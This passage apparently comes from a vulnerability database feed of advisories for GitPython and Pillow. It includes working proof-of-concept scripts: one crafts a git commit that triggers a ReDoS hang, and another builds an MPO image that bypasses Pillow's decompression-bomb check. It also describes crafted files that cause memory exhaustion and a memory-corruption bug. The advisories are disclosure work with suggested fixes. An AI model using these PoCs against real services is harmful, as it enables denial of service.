<payload_size_bytes>\n\"\"\"\nimport hashlib, os, subprocess, sys, zlib\n\ndef run(cmd, cwd):\n    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)\n\ndef main():\n    if len(sys.argv) != 3:\n        print(f\"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>\")\n        sys.exit(1)\n\n    target_dir, payload_size = sys.argv[1], int(sys.argv[2])\n\n    os.makedirs(target_dir, exist_ok=True)\n    run([\"git\", \"init\", \"--quiet\"], cwd=target_dir)\n    run([\"git\", \"config\", \"user.email\", \"poc@example.com\"], cwd=target_dir)\n    run([\"git\", \"config\", \"user.name\", \"PoC\"], cwd=target_dir)\n\n    with open(os.path.join(target_dir, \"README.txt\"), \"w\") as f:\n        f.write(\"GitPython ReDoS PoC repository\\n\")\n    run([\"git\", \"add\", \"README.txt\"], cwd=target_dir)\n    tree_sha = run([\"git\", \"write-tree\"], cwd=target_dir).stdout.strip()\n\n    malicious_name = \"A\" * payload_size\n    # Key: author field contains a '<' with no closing '>'\n    author_line    = f\"author {malicious_name} <unterminated 1691999972 -0700\"\n    committer_line = \"committer PoC <poc@example.com> 1691999972 -0700\"\n    message        = \"ReDoS PoC commit\"\n\n    commit_content = (\n        f\"tree {tree_sha}\\n{author_line}\\n{committer_line}\\n\\n{message}\\n\"\n    ).encode()\n\n    header     = f\"commit {len(commit_content)}\\x00\".encode()\n    store      = header + commit_content\n    sha        = hashlib.sha1(store).hexdigest()\n    compressed = zlib.compress(store)\n\n    objdir = os.path.join(target_dir, \".git\", \"objects\", sha[:2])\n    os.makedirs(objdir, exist_ok=True)\n    with open(os.path.join(objdir, sha[2:]), \"wb\") as f:\n        f.write(compressed)\n\n    run([\"git\", \"update-ref\", \"refs/heads/master\", sha], cwd=target_dir)\n\n    print(f\"Malicious commit sha : {sha}\")\n    print(f\"Payload size         : {payload_size} bytes\")\n    verify = subprocess.run(\n        [\"git\", \"cat-file\", \"-t\", sha],\n        cwd=target_dir, capture_output=True, text=True\n    )\n    print(f\"git cat-file -t confirms: {verify.stdout.strip()}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Script 2 — trigger the vulnerability (`trigger_redos.py`):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nOpens the repository with GitPython and times commit.author access,\nwhich triggers Actor._from_string() -> Actor.name_email_regex.search().\n\nUsage: python3 trigger_redos.py <repo_dir> <commit_sha>\n\"\"\"\nimport sys, time, git\n\ndef main():\n    if len(sys.argv) != 3:\n        print(f\"usage: {sys.argv[0]} <repo_dir> <commit_sha>\")\n        sys.exit(1)\n\n    repo   = git.Repo(sys.argv[1])\n    commit = repo.commit(sys.argv[2])\n\n    print(\"Accessing commit.author — triggers Actor._from_string()...\")\n    t0     = time.time()\n    author = commit.author          # ← this single line causes the hang\n    elapsed = time.time() - t0\n\n    print(f\"Author name length : {len(author.name)} chars\")\n    print(f\"Elapsed            : {elapsed:.3f} seconds\")\n    print(\"RESULT: VULNERABLE\" if elapsed > 5 else \"RESULT: not triggered\")\n\nif __name__ == \"__main__\":\n    main()\n```\n**Execution and observed output:**\n\n\n\n\n$ python3 craft_malicious_repo.py /tmp/victim-repo 200000\nMalicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de\nPayload size : 200000 bytes\ngit cat-file -t confirms: commit\n\n$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de\nAccessing commit.author — triggers Actor._from_string()...\nAuthor name length : 200014 chars\nElapsed : 150.488 seconds\nRESULT: VULNERABLE\n\n\n\n**Docker reproduction (fully isolated environment):**\n\n```bash\ndocker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash\n\n# Inside the container:\napt-get update && apt-get install -y git\ngit clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython\npip install -e /work/GitPython\n\npython3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000\n# note the SHA printed, then:\npython3 /work/poc/trigger_redos.py /work/victim-repo <SHA>\n```\n\nThe `python:3.8-bookworm` base image matches the one used in GitPython's own\n`fuzzing/local-dev-helpers/Dockerfile`.\n\n---\n\n### Impact\n\n**Who is affected:**\n\nAny application that uses GitPython to parse commits from a source it does not\nfully control. High-risk deployments include:\n\n- **CI/CD systems** (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.)\n  that clone and inspect third-party pull requests — one malicious commit in a PR\n  can stall every worker that processes it.\n- **Code-hosting or code-review web services** that render commit author information\n  — a single crafted push blocks every page render or API response that touches that\n  commit's metadata.\n- **Security or compliance scanners** that walk repository history across many\n  repositories — one crafted object in any repository exhausts a scanner worker.\n\n**Severity of impact:**\n\nA 200 KB author field blocks a process for ~150 seconds per single `.author`\naccess. When `iter_commits()` or `blame` are used, every commit in a history\ntraversal can be independently crafted, multiplying the total hang time by the\nnumber of commits processed. There is no confidentiality or integrity impact —\nthis is a pure availability / resource-exhaustion vulnerability.\n\n---\n\n### Suggested Fix\n\nReplace the vulnerable pattern with one that cannot backtrack catastrophically.\nThe minimal, behavior-preserving fix is to exclude `<` and `>` from the name\ngroup, removing the ambiguity that forces O(n²) backtracking:\n\n```python\n# git/util.py, line 863\n# Before (vulnerable):\nname_email_regex = re.compile(r\"(.*) <(.*?)>\")\n\n# After (fixed — identical output for all well-formed input):\nname_email_regex = re.compile(r\"([^<>]*) <([^<>]*)>\")\n```\n\nBecause the name group can no longer itself contain a `<` character, the engine\nhas exactly one candidate position to try when a closing `>` is absent — and fails\nin O(n) time instead of O(n²). Legitimate actor strings (`Name <email>`) never\ncontain `<` or `>` in either field, so this change produces identical results for\nall valid input.\n\nAs defense in depth, independently of the regex fix, bounding the maximum number\nof characters GitPython will attempt to parse in an author/committer line (e.g.\nrejecting strings longer than 4096 bytes before passing them to any regex) would\nfurther limit the blast radius of any future ReDoS class in this parser.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2215"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/751473a5f3221d6f989291cbebcc404353fd3ba8"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3984.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-96636","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-p8hx-v2p6-rp84","BIT-pillow-2026-96636","CVE-2026-96636","PYSEC-2026-4337"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)","details":"### Summary\nPillow's decompression-bomb protection (`Image._decompression_bomb_check`, gated by `Image.MAX_IMAGE_PIXELS`) is enforced only on the **first frame**, inside `Image.open()`. For multi-frame formats, `seek()` re-parses the target frame's header and resets `self._size`. `GifImagePlugin` and `TiffImagePlugin` re-run the bomb check on `seek()`, but **`MpoImageFile.seek()` and `DcxImageFile.seek()` do not.** A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).\n\nSame class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).\n\n### Details\n`Image.open()` → `_open_core()` runs `_decompression_bomb_check(im.size)` once, on the frame present at open time. Both vulnerable `seek()` methods re-parse a new frame and set a new `self._size` without re-checking:\n\n- **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`.\n- **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check.\n\nConfirmed present in **12.3.0** (latest release) and on **`main`** (13.0.0.dev0). Compare `GifImagePlugin._seek` and `TiffImagePlugin`, which call `_decompression_bomb_check` correctly on seek.\n\n### PoC\nSelf-contained; the victim uses **default** `MAX_IMAGE_PIXELS`:\n\n```python\nimport io\nfrom PIL import Image\n\n# attacker builds the file (guard disabled only to CREATE the oversized frame)\nImage.MAX_IMAGE_PIXELS = None\nsmall = Image.new(\"RGB\", (8, 8))\nbig   = Image.new(\"RGB\", (14000, 14000), (120, 60, 30))   # 196,000,000 px > error threshold\nbuf = io.BytesIO()\nsmall.save(buf, format=\"MPO\", save_all=True, append_images=[big])\ndata = buf.getvalue()                                      # ~3 MB\nImage.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default\n\n# victim (default limits)\nim = Image.open(io.BytesIO(data))   # frame 0 (8x8) passes the bomb check\nim.seek(1)                          # frame 1 (14000x14000) -> NOT re-checked  <-- bug\nim.load()                           # decodes the over-limit image, commits memory\nprint(\"loaded over-limit frame:\", im.size)\n```\n\nMeasured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):\n\n| Vector | File size | Frame 1 | Peak RSS |\n|---|---|---|---|\n| MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB |\n| DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB |\n| Control: same image standalone | — | 196 Mpx | `DecompressionBombError` (correctly blocked) |\n\nThe DCX vector (`0x3ADE68B1` magic + offset directory + two PCX pages) behaves identically via `DcxImageFile.seek()`. Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.\n\n### Impact\nDenial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. `seek()` + `load()` is the normal way to iterate frames (e.g. `PIL.ImageSequence.Iterator`, thumbnailers, converters, 3D-photo handlers). Because **MPO is auto-detected from a JPEG carrying MPF metadata**, a file served with a `.jpg` extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.\n\n### Suggested fix\nRe-run the check after `seek()` re-parses a frame, mirroring GIF/TIFF:\n\n```python\n# PIL/MpoImagePlugin.py — end of MpoImageFile.seek()\nself.tile = [ImageFile._Tile(\"jpeg\", (0, 0) + self.size, self.offset, self.tile[0][-1])]\nImage._decompression_bomb_check(self.size)   # add\nself.__frame = frame\n\n# PIL/DcxImagePlugin.py — end of DcxImageFile.seek()\nPcxImageFile._open(self)\nImage._decompression_bomb_check(self.size)   # add\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-p8hx-v2p6-rp84"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96636"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10011"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-96637","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-g842-9rc4-69pw","BIT-pillow-2026-96637","CVE-2026-96637","PYSEC-2026-4338"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS","details":"## Summary\nSpiderImagePlugin's seek() bypasses the decompression bomb check, allowing a tiny (<1KB) crafted SPIDER stack file to trigger a multi-gigabyte allocation on im.load().\n\n## Affected versions\nAll versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)\n\n## Root cause\nImage.open() runs Image._decompression_bomb_check(im.size) exactly once, in _open_core (src/PIL/Image.py:3668), right after the initial _open(). \n\nSPIDER stack files are multi-frame: SpiderImageFile.seek(frame) (SpiderImagePlugin.py:179-190) computes an attacker-influenced stkoffset and calls self._open() AGAIN directly (line 190) — NOT through Image.open(). _open() re-parses a fresh 27-float header at that offset and reassigns:\n\n    self._size = int(h[12]), int(h[2])      # SpiderImagePlugin.py:131\n\nstraight from unvalidated header floats (isSpiderHeader only checks internal labrec*lenbyt==labbyt consistency, never bounds nsam/nrow). No bomb check runs on this new size.\n\nOn the subsequent load(), ImageFile.load_prepare() (ImageFile.py:436-437) executes `self.im = Image.core.new(self.mode, self.size)` with the unchecked, attacker-chosen size. Mode is always \"F\" (4 bytes/pixel), so e.g. 40000x40000 = 6.4 GB.\n\n## Why this is a real bug\nSibling multi-frame plugins DO re-check on their alternate paths:\n- GifImagePlugin.py:286 - Image._decompression_bomb_check(self._size) (in seek)\n- TiffImagePlugin.py:1309 - Image._decompression_bomb_check(self._tile_size)\n- IcnsImagePlugin.py:121/138, IcoImagePlugin.py:236/240 (sub-image selection)\n\nSpiderImagePlugin has NO bomb check anywhere. This is the same class of bug just fixed for GdImageFile (GHSA-phj9-mv4w-65pm) and the FontFile classes (GHSA-5x94/8v84/45hq): an allocation reached on a non-Image.open() path sized by an attacker header field, independent of the one-time pixel bomb check.\n\n## Reproduction\nPython 3.13, Pillow HEAD e7a7ea84\n\nAttached: pillow_poc_spider_bomb.py\n\nSets Image.MAX_IMAGE_PIXELS=5000, then:\n- CONTROL: Image.open(standalone 100x100 SPIDER) -> DecompressionBombWarning fires correctly.\n- BYPASS: Image.open(stack, frame0=1x1) passes; im.seek(1) sets size (100,100) with NO DecompressionBombWarning/Error -> the check is bypassed.\n\nReal-world impact: a large frame-1 nsam/nrow (e.g. 40000x40000) causes im.load() to allocate ~6.4 GB (mode F) with the bomb check fully bypassed, from a file under 1 KB.\n\n## Suggested fix\nCall Image._decompression_bomb_check(self.size) at the end of SpiderImageFile._open() (or in seek() after _open()), mirroring GifImagePlugin / TiffImagePlugin. Optionally validate nsam/nrow are positive and sane in _open().\n\nCredit: Yazan Balawneh - CyStack Security Team \n[pillow_poc_spider_bomb.py](https://github.com/user-attachments/files/30244916/pillow_poc_spider_bomb.py)","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-g842-9rc4-69pw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96637"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10076"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/7cb0e02389d8aac2a60896a490f572db0b07b841"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-96638","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-24rc-8hj2-v98c","BIT-pillow-2026-96638","CVE-2026-96638"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: BMP RLE decoder memory-amplification DoS via unbounded delta escape / absolute mode","details":"## Summary\nBmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches.\n\n## Affected versions\nAll versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)\n\n## Root cause\nBmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray `data` with dest_length = xsize*ysize, looping `while len(data) < dest_length`. The loop condition is only checked at the TOP; individual branches append attacker-controlled amounts UNBOUNDED by dest_length:\n\n- delta escape (line 370): data += b\"\\x00\" * (right + up * self.state.xsize) with right,up in 0..255 -> up to ~255*xsize bytes in ONE iteration.\n- absolute mode (line 385): data += bytes_read (up to 255).\n\nBecause a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny.\n\n## Reproduction\nPython 3.13, Pillow HEAD e7a7ea84\n\nAttached: pillow_poc_bmp_rle_dos.py\n\nA 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB `data`; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file.\n\n## Suggested fix\nCap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) >= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343.\n\nCredit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew)\n\n[pillow_poc_bmp_rle_dos.py](https://github.com/user-attachments/files/30244974/pillow_poc_bmp_rle_dos.py)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-24rc-8hj2-v98c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96638"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10015"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/e7794835e323ff2691d9b3a974cade1a44301b9a"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-96639","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-v9pv-5gc8-w2m6","BIT-pillow-2026-96639","CVE-2026-96639","PYSEC-2026-4339"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow multi-frame loaders can reuse stale native image storage after mode transitions","details":"### Summary\nPillow multi-frame image loaders can retain native `ImagingCore` storage allocated for one frame while changing the Python-side image `mode` and decoder tiles for a later frame.\n\nIf frame 0 allocates storage for a narrow mode such as `L`, and a later frame of the same dimensions switches to a wider mode such as `RGB` or `CMYK`, Pillow may decode wider pixels into the stale narrow native buffer. This causes native\nout-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented `ImageSequence.Iterator` + `frame.load()` path.\n\n### Details\nThe root cause appears to be that `ImageFile.load_prepare()` only reallocates native storage when `_im is None`. It does not verify that the retained native `ImagingCore` storage still matches `self.mode` and `self.size`.\n\nSeveral multi-frame `seek()` / `_open()` paths can update `self._mode` and decoder tiles for a later frame without invalidating `_im`. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode.\n\nVerified affected surfaces:\n\n1. **PSD**\n\n   `PsdImageFile.seek()` can switch from grayscale/native `L` storage to RGB layer decoding while retaining `_im`. This produces attacker-controlled native out-of-bounds writes and reliable crashes.\n\n2. **MPO/JPEG**\n\n   A crafted two-frame MPO can make frame 0 allocate `L` storage, then make frame 1 decode `CMYK` / `RGB` data into the retained `L` storage. The documented `ImageSequence.Iterator` path reaches this with `frame.load()`.\n   Verified native memory corruption, crash, over-read behavior, and scoped harmless-marker command execution on Pillow 12.3.0.\n\n3. **DCX**\n\n   `DcxImageFile.seek()` calls `PcxImageFile._open()`, which changes mode/tile  state without a native-storage mode guard. A crafted DCX with `L` then `RGB` PCX frames produces retained-storage mismatch and crash.\n\n4. **MIC**\n\n   MIC can call `TiffImageFile._open()` directly and bypass TIFF's normal guarded `seek()` behavior. With a `NextIFD`-based reachable frame transition, this produces retained-storage mismatch and crash.\n\nTIFF appears to be a useful positive control because its `seek()` path checks\nboth size and mode before reusing storage.\n\n### Impact\n- process crash / denial of service,\n- native out-of-bounds write,\n- native over-read in the MPO path.\n\nStronger proven impact:\n\n- command execution in matching Python/Pillow runtime profiles through the MPO/JPEG path.\n\nServer-side deployment impact:\n\n- Create a local vulnerable web upload service that accepts an unauthenticated MPO upload and automatically processes it with Pillow.\n- The attack is one HTTP request and requires no user interaction after upload.\n- The fixed harmless command-output marker succeeded 10/10 times.\n- The `_im=None` control was clean 10/10 times.\n\n\n## Reproduction Evidence\n\nTested version:\n\n```text\nPillow 12.3.0\n```\n\nMPO terminal proof environments:\n\n```text\nPython 3.12.3 + Pillow 12.3.0, clean PyPI environment:\nmarker 10/10, control 0/10\n\nPython 3.13.14 + Pillow 12.3.0, prepared profile:\nmarker 10/10, control 0/10\n```\n\nServer-side web-upload proof:\n\n```text\ncontrol 1..10: MARKER_MISSING\ncontrol_summary ok 0 missing 10 /10\n\nvulnerable 1..10: MARKER_OK marker_output <server-user>\nvulnerable_summary ok 10 missing 0 /10\n```\n\nThe terminal proof uses a fixed harmless marker command only. It does not use a reverse shell, persistence, data exfiltration, or arbitrary attacker-selected commands.\n\nI can provide the following private artifacts to maintainers:\n\n- minimal crash fixtures for PSD, MPO, DCX, and MIC,\n- non-weaponized MPO marker PoC,\n- local vulnerable web upload demo,\n- gdb/GEF geometry receipts,\n- control-run logs,\n- proposed regression-test shape.\n\n## Minimal Reproduction Shape\n\nFor the MPO path, the vulnerable consumer shape is:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageSequence\n\nsource = BytesIO(open(path, \"rb\").read())\nimage = Image.open(source)\niterator = ImageSequence.Iterator(image)\nnext(iterator).load()\nnext(iterator).load()\n```\n\nThe crafted image shape is:\n\n```text\nframe 0: mode L, dimensions W x H\nframe 1: same W x H, wider mode such as CMYK\n```\n\nFrame 0 allocates native `L` storage. Frame 1 changes the logical mode and decoder state but can reuse the old native storage. The frame 1 decoder writes using the wider mode into the narrow storage.\n\n## Suggested Fix Direction\n\nBefore reusing native `ImagingCore` storage, Pillow should verify that the retained storage is compatible with the current logical image mode and size.\n\nA central guard in `ImageFile.load_prepare()` could compare native storage mode/size against `self.mode` / `self.size` and allocate fresh storage when they differ. Alternatively, every mode-changing `seek()` / `_open()` path should explicitly invalidate `_im` before decoding.\n\nCaution: TIFF has specialized tile-size behavior and already has a mode/size guard, so a central fix should avoid regressing TIFF tile-buffer handling.\n\n\n## Credit\n\n```text\nRotem Kama\n```\n\n## Methodology Note\n\nAI-assisted analysis was used for discovery and verification support. Claims in this report are limited to the local artifacts, controls, and command outputs described above.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-v9pv-5gc8-w2m6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96639"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10105"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/78d97d994579aef81aafe123773d525f40f2522a"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-96640","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-mrfp-p49p-3hf2","BIT-pillow-2026-96640","CVE-2026-96640"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion","details":"### Summary\nPillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.\n\nAn attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format=\"PDF\", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.\n\nIn the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.\n\nThis is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.\n\n### Details\n\n#### Affected versions\n\n- Package: `Pillow`\n- Ecosystem: `pip` / PyPI\n- Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling\n- Runtime-tested affected release: `12.3.0`\n- Runtime-tested affected development version: `13.0.0.dev0`\n- Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`\n- Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`\n- Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD`\n- Likely affected range: `>= 5.1.0`\n- Patched versions: none known\n\nEvidence fact strings:\n\n- Runtime-tested affected: 12.3.0\n- Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa\n- Source-level affected: 5.1.0\n- Source-level affected: 12.2.0\n- Source-level affected: HEAD\n- Likely affected range: >= 5.1.0, no fixed version known\n- Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py\n\n`5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`.\n\n#### Technical details\n\nThe reachable path is:\n\n1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:\n\n   ```python\n   Image.new(\"L\", (1, 1), 0).save(existing_pdf_file, format=\"PDF\", append=True)\n   ```\n\n2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`:\n\n   ```python\n   is_appending = im.encoderinfo.get(\"append\", False)\n   filename_str = filename.decode() if isinstance(filename, bytes) else filename\n   if is_appending:\n       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"r+b\")\n   else:\n       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"w+b\")\n   ```\n\n3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page 